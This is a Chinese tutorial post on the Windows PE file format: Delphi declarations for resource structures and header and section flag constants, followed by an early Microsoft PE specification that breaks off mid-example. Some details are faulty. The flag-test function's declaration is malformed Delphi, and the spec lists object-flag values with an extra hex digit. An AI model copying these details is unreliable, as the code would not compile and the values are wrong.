以下是我写的PEDump.exe的类型说明：

type

PIMAGE_RESOURCE_DIRECTORY = ^TImageResourceDirectory;

_IMAGE_RESOURCE_DIRECTORY = packed record

Characteristics:DWORD;

TimeDateStamp:DWORD;

MajorVersion:WORD;

MinorVersion:WORD;

NumberOfNamedEntries:WORD;

NumberOfIdEntries:WORD;

end;

TImageResourceDirectory = _IMAGE_RESOURCE_DIRECTORY;

{ 资源目录的格式说明 }

PIMAGE_RESOURCE_DIRECTORY_ENTRY = ^TImageResourceDirectoryEntry;

_IMAGE_RESOURCE_DIRECTORY_ENTRY = packed record

Name:DWORD; { NameOffset:31,NameIsString:1 }

// Id:WORD;

OffsetToData:DWORD; { OffsetToDirectory:31,DataIsDirectory:1 }

end;

TImageResourceDirectoryEntry = _IMAGE_RESOURCE_DIRECTORY_ENTRY;

{ 资源目录进入点的格式说明 }

PIMAGE_RESOURCE_DIRECTORY_STRING = ^TImageResourceDirectoryString;

_IMAGE_RESOURCE_DIRECTORY_STRING = packed record

Length:WORD;

NameString:CHAR;

end;

TImageResourceDirectoryString = _IMAGE_RESOURCE_DIRECTORY_STRING;

{ 资源目录名的格式说明 }

PIMAGE_RESOURCE_DIR_STRING_U = ^TImageResourceDirStringU;

_IMAGE_RESOURCE_DIR_STRING_U = packed record

Length:WORD;

NameString:WCHAR;

end;

TImageResourceDirStringU = _IMAGE_RESOURCE_DIR_STRING_U;

{ unicode形式的资源目录名的格式说明 }

PIMAGE_RESOURCE_DATA_ENTRY = ^TImageResourceDataEntry;

_IMAGE_RESOURCE_DATA_ENTRY = packed record

OffsetToData:DWORD;

Size:DWORD;

CodePage:DWORD;

Reserved:DWORD;

end;

TImageResourceDataEntry = _IMAGE_RESOURCE_DATA_ENTRY;

{ 资源目录数据进入点的格式说明 }

const

IMAGE_RESOURCE_NAME_IS_STRING = $80000000;

{ 检测TImageResourceDirectoryEntry.Name的最高为是否设立，

是则说明剩下的31位指向IMAGE_RESOURCE_DIR_STRING_U的偏移，

否则说明剩下的31位为一个整数ID。 }

IMAGE_RESOURCE_DATA_IS_DIRECTORY = $80000000;

{ 检测TImageResourceDirectoryEntry.OffsetToData的最高为是否设立，

是则说明剩下的31位指向另一个IMAGE_RESOURCE_DIRECTORY的偏移，

否则说明剩下的31位指向IMAGE_RESOURCE_DATA_ENTRY的偏移。 }

{ 以下是文件属性具体值常量说明 }

{ File Characteristics }

IMAGE_FILE_RELOCS_STRIPPED = $0001; // Relocation info stripped from file.

IMAGE_FILE_EXECUTABLE_IMAGE = $0002; // File is executable (i.e. no unresolved externel references).

IMAGE_FILE_LINE_NUMS_STRIPPED = $0004; // Line nunbers stripped from file.

IMAGE_FILE_LOCAL_SYMS_STRIPPED = $0008; // Local symbols stripped from file.

IMAGE_FILE_AGGRESIVE_WS_TRIM = $0010; // Agressively trim working set

IMAGE_FILE_LARGE_ADDRESS_AWARE = $0020; // App can handle >2gb addresses

IMAGE_FILE_BYTES_REVERSED_LO = $0080; // Bytes of machine word are reversed.

IMAGE_FILE_32BIT_MACHINE = $0100; // 32 bit word machine.

IMAGE_FILE_DEBUG_STRIPPED = $0200; // Debugging info stripped from file in .DBG file

IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP = $0400; // If Image is on removable media, copy and run from the swap file.

IMAGE_FILE_NET_RUN_FROM_SWAP = $0800; // If Image is on Net, copy and run from the swap file.

IMAGE_FILE_SYSTEM = $1000; // System File.

IMAGE_FILE_DLL = $2000; // File is a DLL.

IMAGE_FILE_UP_SYSTEM_ONLY = $4000; // File should only be run on a UP machine

IMAGE_FILE_BYTES_REVERSED_HI = $8000; // Bytes of machine word are reversed.

{ 以下是文件头机器属性值的具体说明 }

{ Machine }

IMAGE_FILE_MACHINE_UNKNOWN = $0;

IMAGE_FILE_MACHINE_I386 = $014c; // Intel 386.

IMAGE_FILE_MACHINE_R3000 = $0162; // MIPS little-endian, $160 big-endian

IMAGE_FILE_MACHINE_R4000 = $0166; // MIPS little-endian

IMAGE_FILE_MACHINE_R10000 = $0168; // MIPS little-endian

IMAGE_FILE_MACHINE_WCEMIPSV2 = $0169; // MIPS little-endian WCE v2

IMAGE_FILE_MACHINE_ALPHA = $0184; // Alpha_AXP

IMAGE_FILE_MACHINE_SH3 = $01a2; // SH3 little-endian

IMAGE_FILE_MACHINE_SH3E = $01a4; // SH3E little-endian

IMAGE_FILE_MACHINE_SH4 = $01a6; // SH4 little-endian

IMAGE_FILE_MACHINE_SH5 = $01a8; // SH5

IMAGE_FILE_MACHINE_ARM = $01c0; // ARM Little-Endian

IMAGE_FILE_MACHINE_THUMB = $01c2;

IMAGE_FILE_MACHINE_ARM33 = $01d3;

IMAGE_FILE_MACHINE_POWERPC = $01F0; // IBM PowerPC Little-Endian

IMAGE_FILE_MACHINE_IA64 = $0200; // Intel 64

IMAGE_FILE_MACHINE_MIPS16 = $0266; // MIPS

IMAGE_FILE_MACHINE_ALPHA64 = $0284; // ALPHA64

IMAGE_FILE_MACHINE_MIPSFPU = $0366; // MIPS

IMAGE_FILE_MACHINE_MIPSFPU16 = $0466; // MIPS

// IMAGE_FILE_MACHINE_AXP64 IMAGE_FILE_MACHINE_ALPHA64

IMAGE_FILE_MACHINE_AMD64 = $0500; // AMD K8

IMAGE_FILE_MACHINE_TRICORE = $0520; // Infineon

IMAGE_FILE_MACHINE_CEF = $0CEF;

{ 以下是SECTION的属性值具体说明 }

{ Section characteristics }

// IMAGE_SCN_TYPE_REG = $00000000; // Reserved.

// IMAGE_SCN_TYPE_DSECT = $00000001; // Reserved.

// IMAGE_SCN_TYPE_NOLOAD = $00000002; // Reserved.

// IMAGE_SCN_TYPE_GROUP = $00000004; // Reserved.

IMAGE_SCN_TYPE_NO_PAD = $00000008; // Reserved.

// IMAGE_SCN_TYPE_COPY = $00000010; // Reserved.

IMAGE_SCN_CNT_CODE = $00000020; // Section contains code.

IMAGE_SCN_CNT_INITIALIZED_DATA = $00000040; // Section contains initialized data.

IMAGE_SCN_CNT_UNINITIALIZED_DATA = $00000080; // Section contains uninitialized data.

IMAGE_SCN_LNK_OTHER = $00000100; // Reserved.

IMAGE_SCN_LNK_INFO = $00000200; // Section contains comments or some other type of information.

// IMAGE_SCN_TYPE_OVER = $00000400; // Reserved.

IMAGE_SCN_LNK_REMOVE = $00000800; // Section contents will not become part of image.

IMAGE_SCN_LNK_COMDAT = $00001000; // Section contents comdat.

// = $00002000; // Reserved.

// IMAGE_SCN_MEM_PROTECTED - Obsolete = $00004000;

IMAGE_SCN_NO_DEFER_SPEC_EXC = $00004000; // Reset speculative exceptions handling bits in the TLB entries for this section.

IMAGE_SCN_GPREL = $00008000; // Section content can be accessed relative to GP

IMAGE_SCN_MEM_FARDATA = $00008000;

// IMAGE_SCN_MEM_SYSHEAP - Obsolete = $00010000;

IMAGE_SCN_MEM_PURGEABLE = $00020000;

IMAGE_SCN_MEM_16BIT = $00020000;

IMAGE_SCN_MEM_LOCKED = $00040000;

IMAGE_SCN_MEM_PRELOAD = $00080000;

IMAGE_SCN_ALIGN_1BYTES = $00100000; //

IMAGE_SCN_ALIGN_2BYTES = $00200000; //

IMAGE_SCN_ALIGN_4BYTES = $00300000; //

IMAGE_SCN_ALIGN_8BYTES = $00400000; //

IMAGE_SCN_ALIGN_16BYTES = $00500000; // Default alignment if no others are specified.

IMAGE_SCN_ALIGN_32BYTES = $00600000; //

IMAGE_SCN_ALIGN_64BYTES = $00700000; //

IMAGE_SCN_ALIGN_128BYTES = $00800000; //

IMAGE_SCN_ALIGN_256BYTES = $00900000; //

IMAGE_SCN_ALIGN_512BYTES = $00A00000; //

IMAGE_SCN_ALIGN_1024BYTES = $00B00000; //

IMAGE_SCN_ALIGN_2048BYTES = $00C00000; //

IMAGE_SCN_ALIGN_4096BYTES = $00D00000; //

IMAGE_SCN_ALIGN_8192BYTES = $00E00000; //

// Unused = $00F00000;

IMAGE_SCN_ALIGN_MASK = $00F00000;

IMAGE_SCN_LNK_NRELOC_OVFL = $01000000; // Section contains extended relocations.

IMAGE_SCN_MEM_DISCARDABLE = $02000000; // Section can be discarded.

IMAGE_SCN_MEM_NOT_CACHED = $04000000; // Section is not cachable.

IMAGE_SCN_MEM_NOT_PAGED = $08000000; // Section is not pageable.

IMAGE_SCN_MEM_SHARED = $10000000; // Section is shareable.

IMAGE_SCN_MEM_EXECUTE = $20000000; // Section is executable.

IMAGE_SCN_MEM_READ = $40000000; // Section is readable.

IMAGE_SCN_MEM_WRITE = $80000000; // Section is writeable.

我写了检测是否包含此属性的函数

function BeTrue(fg:Cardinal,Value):Boolean;

begin

Result:=fg and not Value=0;

end;

如果fg的属性值在Value中，则为True,否则为False;

例如 BeTrue(IMAGE_FILE_RELOCS_STRIPPED,PENTHead.FileHeader.Characteristics);

至于资源目录的读取，至少需要两重循环来定位，具体实现就要靠你的算法功力了：）

好了，差不多了，再具体一点我也说不上了，我做了一个PEDump的程序，

在我的主页http://mantousoft.51.net可以下载，程序中有更详细的说明，相信能帮助想了解这方面的东西的朋友。

以上是我的个人小心得，欢迎转载，转载请保持完整，谢谢！


PE格式英文文档

PORTABLE EXECUTABLE FORMAT

Author: Micheal J. O'Leary

Preface

This document was edited and released by Microsoft Developer

Support. It describes the binary portable executable format for NT.

The information is provided at this point because we feel it will

make the work of application development easier. Unfortunately, the

information in this document may change before the final release of

Windows NT. Microsoft is NOT committing to stay with these formats

by releasing this document. Questions or follow-ups for any of the

information presented here should be posted to CompuServe MSWIN32

forum, section 6.

--Steve Firebaugh

Microsoft Developer Support

Contents

1. Overview

2. PE Header

3. Object Table

4. Image Pages

5. Exports

5.1 Export Directory Table

5.2 Export Address Table

5.3 Export Name Table Pointers

5.4 Export Ordinal Table

5.5 Export Name Table

6. Imports

6.1 Import Directory Table

6.2 Import Lookup Table

6.3 Hint-Name Table

6.4 Import Address Table

7. Thread Local Storage

7.1 Thread Local Storage Directory Table

7.2 Thread Local Storage CallBack Table

8. Resources

8.1 Resource Directory Table

8.2 Resource Example

9. Fixup Table

9.1 Fixup Block

10. Debug Information

10.1 Debug Directory

1. Overview

< < Base of Image Header

DOS 2 Compatible

EXE Header

unused

OEM Identifier

OEM Info

DOS 2.0 Section

Offset to (for DOS compatibility only)

PE Header

DOS 2.0 Stub

Program &

Reloc. Table

unused

Aligned on 8 byte boundary

PE Header

Object Table

Image Pages

import info

export info

fixup info

resource info

debug info

Figure

1. A typical 32-bit Portable EXE File Layout

2. PE Header

SIGNATURE BYTES

CPU TYPE

# OBJECTS

TIME/DATE STAMP

RESERVED

RESERVED

NT HDR SIZE

FLAGS

RESERVED

LMAJORLMINOR

RESERVED

RESERVED

RESERVED

ENTRYPOINT RVA

RESERVED

RESERVED

IMAGE BASE

OBJECT ALIGN

FILE ALIGN

OS MAJOR

OS MINOR

USER MAJOR

USER MINOR

SUBSYS MAJOR

SUBSYS MINOR

RESERVED

IMAGE SIZE

HEADER SIZE

FILE CHECKSUM

SUBSYSTEM

DLL FLAGS

STACK RESERVE SIZE

STACK COMMIT SIZE

HEAP RESERVE SIZE

HEAP COMMIT SIZE

RESERVED

# INTERESTING RVA/SIZES

EXPORT TABLE RVA

TOTAL EXPORT DATA SIZE

IMPORT TABLE RVA

TOTAL IMPORT DATA SIZE

RESOURCE TABLE RVA

TOTAL RESOURCE DATA SIZE

EXCEPTION TABLE RVA

TOTAL EXCEPTION DATA SIZE

SECURITY TABLE RVA

TOTAL SECURITY DATA SIZE

FIXUP TABLE RVA

TOTAL FIXUP DATA SIZE

DEBUG TABLE RVA

TOTAL DEBUG DIRECTORIES

IMAGE DESCRIPTION RVA

TOTAL DESCRIPTION SIZE

MACHINE SPECIFIC RVA

MACHINE SPECIFIC SIZE

THREAD LOCAL STORAGE RVA

TOTAL TLS SIZE

Figure 2. PE Header

Notes:

o A VA is a virtual address that is already biased by the Image

Base found in the PE Header. A RVA is a virtual address that is

relative to the Image Base.

o An RVA in the PE Header which has a value of zero indicates the

field isn't used.

o Image pages are aligned and zero padded to a File Align

boundary. The bases of all other tables and structures must be

aligned on DWORD (4 byte) boundary. Thus, all VA's and RVA's

must be on a 32 bit boundary. All table and structure fields

must be aligned on their "natural" boundaries, with the possible

exception of the Debug Info.

SIGNATURE BYTES = DB * 4.

Current value is "PE/0/0". Thats PE followed by two zeros (nulls).

CPU TYPE = DW CPU Type.

This field specifies the type of CPU compatibility required by this

image to run. The values are:

o 0000h __unknown

o 014Ch __80386

o 014Dh __80486

o 014Eh __80586

o 0162h __MIPS Mark I (R2000, R3000)

o 0163h __MIPS Mark II (R6000)

o 0166h __MIPS Mark III (R4000)

# OBJECTS = DW Number of object entries.

This field specifies the number of entries in the Object Table.

TIME/DATE STAMP = DD Used to store the time and date the file was

created or modified by the linker.

NT HDR SIZE = DW This is the number of remaining bytes in the NT

header that follow the FLAGS field.

FLAGS = DW Flag bits for the image.

The flag bits have the following definitons:

o 0000h __Program image.

o 0002h __Image is executable.

If this bit isn't set, then it indicates that either errors

where detected at link time or that the image is being

incrementally linked and therefore can't be loaded.

o 0200h __Fixed.

Indicates that if the image can't be loaded at the Image Base,

then don't load it.

o 2000h __Library image.

LMAJOR/LMINOR = DB Linker major/minor version number.

ENTRYPOINT RVA = DD Entrypoint relative virtual address.

The address is relative to the Image Base. The address is the

starting address for program images and the library initialization

and library termination address for library images.

IMAGE BASE = DD The virtual base of the image.

This will be the virtual address of the first byte of the file (Dos

Header). This must be a multiple of 64K.

OBJECT ALIGN = DD The alignment of the objects. This must be a power

of 2 between 512 and 256M inclusive. The default is 64K.

FILE ALIGN = DD Alignment factor used to align image pages. The

alignment factor (in bytes) used to align the base of the image pages

and to determine the granularity of per-object trailing zero pad.

Larger alignment factors will cost more file space; smaller alignment

factors will impact demand load performance, perhaps significantly.

Of the two, wasting file space is preferable. This value should be a

power of 2 between 512 and 64K inclusive.

OS MAJOR/MINOR = DW OS version number required to run this image.

USER MAJOR/MINOR # = DW User major/minor version number.

This is useful for differentiating between revisions of

images/dynamic linked libraries. The values are specified at link

time by the user.

SUBSYS MAJOR/MINOR # = DW Subsystem major/minor version number.

IMAGE SIZE = DD The virtual size (in bytes) of the image.

This includes all headers. The total image size must be a multiple

of Object Align.

HEADER SIZE = DD Total header size.

The combined size of the Dos Header, PE Header and Object Table.

FILE CHECKSUM = DD Checksum for entire file. Set to 0 by the linker.

SUBSYSTEM = DW NT Subsystem required to run this image.

The values are:

o 0000h __Unknown

o 0001h __Native

o 0002h __Windows GUI

o 0003h __Windows Character

o 0005h __OS/2 Character

o 0007h __Posix Character

DLL FLAGS = DW Indicates special loader requirements.

This flag has the following bit values:

o 0001h __Per-Process Library Initialization.

o 0002h __Per-Process Library Termination.

o 0004h __Per-Thread Library Initialization.

o 0008h __Per-Thread Library Termination.

All other bits are reserved for future use and should be set to zero.

STACK RESERVE SIZE = DD Stack size needed for image.

The memory is reserved, but only the STACK COMMIT SIZE is committed.

The next page of the stack is a 'guarded page'. When the application

hits the guarded page, the guarded page becomes valid, and the next

page becomes the guarded page. This continues until the RESERVE SIZE

is reached.

STACK COMMIT SIZE = DD Stack commit size.

HEAP RESERVE SIZE = DD Size of local heap to reserve.

HEAP COMMIT SIZE = DD Amount to commit in local heap.

# INTERESTING VA/SIZES = DD Indicates the size of the VA/SIZE array

that follows.

EXPORT TABLE RVA = DD Relative Virtual Address of the Export Table.

This address is relative to the Image Base.

IMPORT TABLE RVA = DD Relative Virtual Address of the Import Table.

This address is relative to the Image Base.

RESOURCE TABLE RVA = DD Relative Virtual Address of the Resource

Table. This address is relative to the Image Base.

EXCEPTION TABLE RVA = DD Relative Virtual Address of the Exception

Table. This address is relative to the Image Base.

SECURITY TABLE RVA = DD Relative Virtual Address of the Security

Table. This address is relative to the Image Base.

FIXUP TABLE RVA = DD Relative Virtual Address of the Fixup Table.

This address is relative to the Image Base.

DEBUG TABLE RVA = DD Relative Virtual Address of the Debug Table.

This address is relative to the Image Base.

IMAGE DESCRIPTION RVA = DD Relative Virtual Address of the

description string specified in the module definiton file.

MACHINE SPECIFIC RVA = DD Relative Virtual Address of a machine

specific value. This address is relative to the Image Base.

TOTAL EXPORT DATA SIZE = DD Total size of the export data.

TOTAL IMPORT DATA SIZE = DD Total size of the import data.

TOTAL RESOURCE DATA SIZE = DD Total size of the resource data.

TOTAL EXCEPTION DATA SIZE = DD Total size of the exception data.

TOTAL SECURITY DATA SIZE = DD Total size of the security data.

TOTAL FIXUP DATA SIZE = DD Total size of the fixup data.

TOTAL DEBUG DIRECTORIES = DD Total number of debug directories.

TOTAL DESCRIPTION SIZE = DD Total size of the description data.

MACHINE SPECIFIC SIZE = DD A machine specific value.

3. Object Table

The number of entries in the Object Table is given by the # Objects

field in the PE Header. Entries in the Object Table are numbered

starting from one. The object table immediately follows the PE

Header. The code and data memory object entries are in the order

chosen by the linker. The virtual addresses for objects must be

assigned by the linker such that they are in ascending order and

adjacent, and must be a multiple of Object Align in the PE header.

Each Object Table entry has the following format:

OBJECT NAME

VIRTUAL SIZE

RVA

PHYSICAL SIZE

PHYSICAL OFFSET

RESERVED

RESERVED

RESERVED

OBJECT FLAGS

Figure 3. Object Table

OBJECT NAME = DB * 8 Object name. This is an eight-byte null-padded

ASCII string representing the object name.

VIRTUAL SIZE = DD Virtual memory size. The size of the object that

will be allocated when the object is loaded. Any difference between

PHYSICAL SIZE and VIRTUAL SIZE is zero filled.

RVA = DD Relative Virtual Address. The virtual address the object is

currently relocated to, relative to the Image Base. Each Object's

virtual address space consumes a multiple of Object Align (power of 2

between 512 and 256M inclusive. Default is 64K), and immediately

follows the previous Object in the virtual address space (the virtual

address space for a image must be dense).

PHYSICAL SIZE = DD Physical file size of initialized data. The size

of the initialized data in the file for the object. The physical

size must be a multiple of the File Align field in the PE Header, and

must be less than or equal to the Virtual Size.

PHYSICAL OFFSET = DD Physical offset for object's first page. This

offset is relative to beginning of the EXE file, and is aligned on a

multiple of the File Align field in the PE Header. The offset is

used as a seek value.

OBJECT FLAGS = DD Flag bits for the object. The object flag bits

have the following definitions:

o 000000020h __Code object.

o 000000040h __Initialized data object.

o 000000080h __Uninitialized data object.

o 040000000h __Object must not be cached.

o 080000000h __Object is not pageable.

o 100000000h __Object is shared.

o 200000000h __Executable object.

o 400000000h __Readable object.

o 800000000h __Writeable object.

All other bits are reserved for future use and should be set to zero.

4. Image Pages

The Image Pages section contains all initialized data for all

objects. The seek offset for the first page in each object is

specified in the object table and is aligned on a File Align

boundary. The objects are ordered by the RVA. Every object begins

on a multiple of Object Align.

5. Exports

A typical file layout for the export information follows:

DIRECTORY TABLE

ADDRESS TABLE

NAME PTR TABLE

ORDINAL TABLE

NAME STRINGS

Figure 4. Export File Layout

5.1 Export Directory Table

The export information begins with the Export Directory Table which

describes the remainder of the export information. The Export

Directory Table contains address information that is used to resolve

fixup references to the entry points within this image.

EXPORT FLAGS

TIME/DATE STAMP

MAJOR VERSION

MINOR VERSION

NAME RVA

ORDINAL BASE

# EAT ENTRIES

# NAME PTRS

ADDRESS TABLE RVA

NAME PTR TABLE RVA

ORDINAL TABLE RVA

Figure 5. Export Directory Table Entry

EXPORT FLAGS = DD Currently set to zero.

TIME/DATE STAMP = DD Time/Date the export data was created.

MAJOR/MINOR VERSION = DW A user settable major/minor version number.

NAME RVA = DD Relative Virtual Address of the Dll asciiz Name.

This is the address relative to the Image Base.

ORDINAL BASE = DD First valid exported ordinal.

This field specifies the starting ordinal number for the export

address table for this image. Normally set to 1.

# EAT ENTRIES = DD Indicates number of entries in the Export Address

Table.

# NAME PTRS = DD This indicates the number of entries in the Name Ptr

Table (and parallel Ordinal Table).

ADDRESS TABLE RVA = DD Relative Virtual Address of the Export Address

Table.

This address is relative to the Image Base.

NAME TABLE RVA = DD Relative Virtual Address of the Export Name Table

Pointers.

This address is relative to the beginning of the Image Base. This

table is an array of RVA's with # NAMES entries.

ORDINAL TABLE RVA = DD Relative Virtual Address of Export Ordinals

Table Entry.

This address is relative to the beginning of the Image Base.

5.2 Export Address Table

The Export Address Table contains the address of exported entrypoints

and exported data and absolutes. An ordinal number is used to index

the Export Address Table. The ORDINAL BASE must be subracted from the

ordinal number before indexing into this table.

Export Address Table entry formats are described below:

EXPORTED RVA

Figure 6. Export Address Table Entry

EXPORTED RVA = DD Export address.

This field contains the relative virtual address of the exported

entry (relative to the Image Base).

5.3 Export Name Table Pointers

The export name table pointers array contains address into the Export

Name Table. The pointers are 32-bits each, and are relative to the

Image Base. The pointers are ordered lexically to allow binary

searches.

5.4 Export Ordinal Table

The Export Name Table Pointers and the Export Ordinal Table form two

parallel arrays, separated to allow natural field alignment. The

export ordinal table array contains the Export Address Table ordinal

numbers associated with the named export referenced by corresponding

Export Name Table Pointers.

The ordinals are 16-bits each, and already include the Ordinal Base

stored in the Export Directory Table.

5.5 Export Name Table

The export name table contains optional ASCII names for exported

entries in the image. These tables are used with the array of Export

Name Table Pointers and the array of Export Ordinals to translate a

procedure name string into an ordinal number by searching for a

matching name string. The ordinal number is used to locate the entry

point information in the export address table.

Import references by name require the Export Name Table Pointers

table to be binary searched to find the matching name, then the

corresponding Export Ordinal Table is known to contain the entry

point ordinal number. Import references by ordinal number provide

the fastest lookup since searching the name table is not required.

Each name table entry has the following format:

ASCII STRING ::: :::::::: '\0'

Figure 7. Export Name Table Entry

ASCII STRING = DB ASCII String.

The string is case sensitive and is terminated by a null byte.

6. Imports

A typical file layout for the import information follows:

DIRECTORY TABLE

NULL DIR ENTRY

DLL1 LOOKUP TABLE

NULL

DLL2 LOOKUP TABLE

NULL

DLL3 LOOKUP TABLE

NULL

HINT-NAME TABLE

DLL1 ADDRESS TABLE

NULL

DLL2 ADDRESS TABLE

NULL

DLL3 ADDRESS TABLE

NULL

Figure 8. Import File Layout

6.1 Import Directory Table

The import information begins with the Import Directory Table which

describes the remainder of the import information. The Import

Directory Table contains address information that is used to resolve

fixup references to the entry points within a DLL image. The import

directory table consists of an array of Import Directory Entries, one

entry for each DLL this image references. The last directory entry is

empty (NULL) which indicates the end of the directory table.

An Import Directory Entry has the following format:

IMPORT FLAGS

TIME/DATE STAMP

MAJOR VERSION

MINOR VERSION

NAME RVA

IMPORT LOOKUP TABLE RVA

IMPORT ADDRESS TABLE RVA

Figure 9. Import Directory Entry

IMPORT FLAGS = DD Currently set to zero.

TIME/DATE STAMP = DD Time/Date the import data was pre-snapped or

zero if not pre-snapped.

MAJOR/MINOR VERSION = DW The major/minor version number of the dll

being referenced.

NAME RVA = DD Relative Virtual Address of the Dll asciiz Name.

This is the address relative to the Image Base.

IMPORT LOOKUP TABLE RVA = DD This field contains the address of the

start of the import lookup table for this image. The address is

relative to the beginning of the Image Base.

IMPORT ADDRESS TABLE RVA = DD This field contains the address of the

start of the import addresses for this image. The address is

relative to the beginning of the Image Base.

6.2 Import Lookup Table

The Import Lookup Table is an array of ordinal or hint/name RVA's for

each DLL. The last entry is empty (NULL) which indicates the end of

the table.

The last element is empty.

3

0

1

0

ORDINAL

#/HINT-NAME

TABLE RVA

Figure 10. Import Address Table Format

ORDINAL/HINT-NAME TABLE RVA = 31-bits (mask = 7fffffffh) Ordinal

Number or Name Table RVA.

If the import is by ordinal, this field contains a 31 bit ordinal

number. If the import is by name, this field contains a 31 bit

address relative to the Image Base to the Hint-Name Table.

O = 1-bit (mask = 80000000h) Import by ordinal flag.

o 00000000h __Import by name.

o 80000000h __Import by ordinal.

6.3 Hint-Name Table

The Hint-Name Table format follows:

HINT

ASCII STRING |||||||||||||||||||| '\0'

PAD

The PAD field is optional.

Figure 11. Import Hint-Name Table

HINT = DW Hint into Export Name Table Pointers.

The hint value is used to index the Export Name Table Pointers array,

allowing faster by-name imports. If the hint is incorrect, then a

binary search is performed on the Export Name Ptr Table.

ASCII STRING = DB ASCII String.

The string is case sensitive and is terminated by a null byte.

PAD = DB Zero pad byte.

A trailing zero pad byte appears after the trailing null byte if

necessary to align the next entry on an even boundary.

The loader overwrites the import address table when loading the image

with the 32-bit address of the import.

6.4 Import Address Table

The Import Address Table is an array of addresses of the imported

routines for each DLL. The last entry is empty (NULL) which indicates

the end of the table.

7. Thread Local Storage

Thread local storage is a special contiguous block of data. Each

thread will gets its own block upon creation of the thread.

The file layout for thread local storage follows:

DIRECTORY TABLE

TLS DATA

INDEX VARIABLE

CALLBACK ADDRESSES

Figure 12. Thread Local Storage Layout

7.1 Thread Local Storage Directory Table

The Thread Local Storage Directory Table contains address information

that is used to describe the rest of TLS.

The Thread Local Storage Directory Table has the following format:

START DATA BLOCK VA

END DATA BLOCK VA

INDEX VA

CALLBACK TABLE VA

Figure 13. Thread Local Storage Directory Table

START DATA BLOCK VA = DD Virtual Address of the start of the thread

local storage data block.

END DATA BLOCK VA = DD Virtual Address of the end of the thread local

storage data block.

INDEX VA = DD Virtual Address of the index variable used to access

the thread local storage data block.

CALLBACK TABLE VA = DD Virtual Address of the callback table.

7.2 Thread Local Storage CallBack Table

The Thread Local Storage Callbacks is an array of Virtual Address of

functions to be called by the loader after thread creation and thread

termination. The last entry is empty (NULL) which indicates the end

of the table.

The Thread Local Storage CallBack Table has the following format:

FUNCTION1 VA

FUNCTION2 VA

NULL

Figure 14. Thread Local Storage CallBack Table

8. Resources

Resources are indexed by a multiple level binary-sorted tree

structure. The overall design can incorporate 2**31 levels, however,

NT uses only three: the highest is TYPE, then NAME, then LANGUAGE.

A typical file layout for the resource information follows:

RESOURCE DIRECTORY

RESOURCE DATA

Figure 15. Resource File Layout

The Resource directory is made up of the following tables:

8.1 Resource Directory Table

RESOURCE FLAGS

TIME/DATE STAMP

MAJOR VERSION

MINOR VERSION

# NAME ENTRY

# ID ENTRY

RESOURCE DIR ENTRIES

Figure 16. Resource Table Entry

RESOURCE FLAGS = DD Currently set to zero.

TIME/DATE STAMP = DD Time/Date the resource data was created by the

resource compiler.

MAJOR/MINOR VERSION = DW A user settable major/minor version number.

# NAME ENTRY = DW The number of name entries.

This field contains the number of entries at the beginning of the

array of directory entries which have actual string names associated

with them.

# ID ENTRY = DW The number of ID integer entries.

This field contains the number of 32-bit integer IDs as their names

in the array of directory entries.

The resource directory is followed by a variable length array of

directory entries. # NAME ENTRY is the number of entries at the

beginning of the array that have actual names associated with each

entry. The entires are in ascending order, case insensitive strings.

# ID ENTRY identifies the number of entries that have 32-bit integer

IDs as their name. These entries are also sorted in ascending order.

This structure allows fast lookup by either name or number, but for

any given resource entry only one form of lookup is supported, not

both. This is consistent with the syntax of the .RC file and the .RES

file.

The array of directory entries have the following format:

3

0

1

NAME RVA/INTEGER ID

E

DATA ENTRY RVA/SUBDIR RVA

Figure 17. Resource Directory Entry

INTERGER ID = DD ID.

This field contains a integer ID field to identify a resource.

NAME RVA = DD Name RVA address.

This field contains a 31-bit address relative to the beginning of the

Image Base to a Resource Directory String Entry.

E = 1-bit (mask 80000000h) Unescape bit.

This bit is zero for unescaped Resource Data Entries.

DATA RVA = 31-bits (mask 7fffffffh) Data entry address.

This field contains a 31-bit address relative to the beginning of the

Image Base to a Resource Data Entry.

E = 1-bit (mask 80000000h) Escape bit.

This bit is 1 for escaped Subdirectory Entry.

DATA RVA = 31-bits (mask 7fffffffh) Directory entries.

This field contains a 31-bit address relative to the beginning of the

Image Base to Subdirectory Entry.

Each resource directory string entry has the following format:

LENGTH UNICODE STRING

Figure 18. Resource Directory String Entry

LENGTH = DW Length of string.

UNICODE STRING = DW UNICODE String.

All of these string objects are stored together after the last

resource directory entry and before the first resource data object.

This minimizes the impact of these variable length objects on the

alignment of the fixed size directory entry objects. The length needs

to be word aligned.

Each Resource Data Entry has the following format:

DATA RVA

SIZE

CODEPAGE

RESERVED

Figure 19. Resource Data Entry

DATA RVA = DD Address of Resource Data.

This field contains 32-bit virtaul address of the resource data

(relative to the Image Base).

SIZE = DD Size of Resource Data.

This field contains the size of the resource data for this resource.

CODEPAGE = DD Codepage.

RESERVED = DD Reserved - must be zero.

Each resource data entry describes a leaf node in the resource

directory tree. It contains an address which is relative to the

beginning of Image Base, a size field that gives the number of bytes

of data at that address, a CodePage that should be used when decoding

code point values within the resource data. Typically for new

applications the code page would be the unicode code page.

8.2 Resource Example

The following is an example for an app. which wants to use the following

data

as resources:

TypeId# NameId# Language ID Resource Data

00000001 00000001 0 00010001

00000001 00000001 1 10010001

00000001 00000002 0 00010002

00000001 00000003 0 00010003

00000002 00000001 0 00020001

00000002 00000002 0 00020002

00000002 00000003 0 00020003

00000002 00000004 0 00020004

00000009 00000001 0 00090001

00000009 00000009 0 00090009

00000009 00000009 1 10090009

00000009 00000009 2 20090009

Then the Resource Directory in the Portable format looks like:

Offset Data

0000: 00000000 00000000 00000000 00030000 (3 entries in this directory)

0010: 00000001 80000028 (TypeId #1, Subdirectory at offset 0x28)

0018: 00000002 80000050 (TypeId #2, Subdirectory at offset 0x50)

0020: 00000009 80000080 (TypeId #9, Subdirectory at offset 0x80)

0028: 00000000 00000000 00000000 00030000 (3 entries in this directory)

0038: 00000001 800000A0 (NameId #1, Subdirectory at offset 0xA0)

0040: 00000002 00000108 (NameId #2, data desc at offset 0x108)

0048: 00000003 00000118 (NameId #3, data desc at offset 0x118)

0050: 00000000 00000000 00000000 00040000 (4 entries in this directory)

0060: 00000001 00000128 (NameId #1, data desc at offset 0x128)

0068: 00000002 00000138 (NameId #2, data desc at offset 0x138)

0070: 00000003 00000148 (NameId #3, data desc at offset 0x148)

0078: 00000004 00000158 (NameId #4, data desc at offset 0x158)

0080: 00000000 00000000 00000000 00020000 (2 entries in this directory)

0090: 00000001 00000168 (NameId #1, data desc at offset 0x168)

0098: 00000009 800000C0 (NameId #9, Subdirectory at offset 0xC0)

00A0: 00000000 00000000 00000000 00020000 (2 entries in this directory)

